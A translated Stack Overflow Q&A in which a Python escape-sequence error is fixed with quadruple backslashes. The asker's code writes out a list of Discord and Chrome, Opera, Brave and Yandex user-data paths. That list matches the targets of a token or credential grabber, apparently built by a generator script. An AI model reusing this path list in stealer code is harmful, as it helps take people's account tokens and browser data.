首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >SyntaxError:(unicode错误)‘unicode’编解码器无法解码55-56位置的字节:截断\UXXXXXX转义(关闭)

SyntaxError:(unicode错误)‘unicode’编解码器无法解码55-56位置的字节:截断\UXXXXXX转义(关闭)
EN

Stack Overflow用户
提问于 2022-04-02 07:00:43
回答 1查看 4.4K关注 0票数 -1

我有这个错误,我无法修复它。请帮帮我。!(错误的图像)

代码:

代码语言:javascript
复制
    grb.write('PATHS = {\n')
    grb.write('    "Discord"           : ROAMING + "\\\Discord",\n')
    grb.write('    "Discord Canary"    : ROAMING + "\\\discordcanary",\n')
    grb.write('    "Discord PTB"       : ROAMING + "\\\discordptb",\n')
    grb.write('    "Google Chrome"     : LOCAL + "\\\Google\\\Chrome\\\User Data\\\Default",\n')
    grb.write('    "Opera"             : ROAMING + "\\\Opera Software\\\Opera Stable",\n')
    grb.write('    "Brave"             : LOCAL + "\\\BraveSoftware\\\Brave-Browser\\\User Data\\\Default",\n')
    grb.write('    "Yandex"            : LOCAL + "\\\Yandex\\\YandexBrowser\\\User Data\\\Default"\n')
    grb.write('}\n')

我期待有人在这方面帮助我。

EN

回答 1

Stack Overflow用户

发布于 2022-04-02 14:29:19

如果要在输出中使用双反斜杠,可以在字符串文本中使用四重反斜杠(\\\\)来获得\\,例如,如下所示(应用grb.write而不是print):

代码语言:javascript
复制
print('    "Google Chrome"     : LOCAL + "\\\\Google\\\\Chrome\\\\User Data\\\\Default",\n')

"Google Chrome" : LOCAL + "\\Google\\Chrome\\User Data\\Default",

ExplanationString和Bytes文字

…反斜杠(\)字符用于转义具有特殊意义的字符,如换行符、反斜杠本身或引号字符。… 除非存在rR前缀,否则字符串和字节文本中的转义序列将按照与标准C使用的规则相似的规则解释。公认的转义序列如下: 转义序列意味着Notes \新行反斜杠和换行符忽略\反斜杠() \‘单引号(') \“双引号(") \a ASCII Bell (BEL) \x07 \b ASCII Backspace (BS) \x08 \fASCII Formfeed (FF) \x0c \n ASCII Linefeed (LF) \x0a \r ASCII载运返回(CR) \x0d \t ASCII水平Tab ( Tab ) \x09 \ value垂直Tab (VT) \x0b \ooo字符hh (2,3)十六进制字符 仅在字符串文本中可识别的转义序列如下: 转义序列意指Unicode数据库中命名的Notes \N{ name }字符(4) \uxxxx字符,16位十六进制值xxxx (5) \ xxxxxxxx字符,32位十六进制值xxxxxxxx (6) 备注:

  1. 与标准C一样,最多可接受三位八进制数字。
  2. 与标准C中不同的是,需要精确的两个十六进制数字。
  3. 在字节文本中,十六进制和八进制转义表示具有给定值的字节。在字符串文本中,这些转义表示具有给定值的Unicode字符。
  4. 在3.3版中更改:添加了对名称别名1的支持。
  5. 需要精确的四位六角位数。
  6. 任何Unicode字符都可以这样编码。准确地说,需要八位六进制数。

与标准C不同,所有未识别的转义序列都保留在字符串中,即反斜杠留在结果中。

票数 2
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/71715517

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档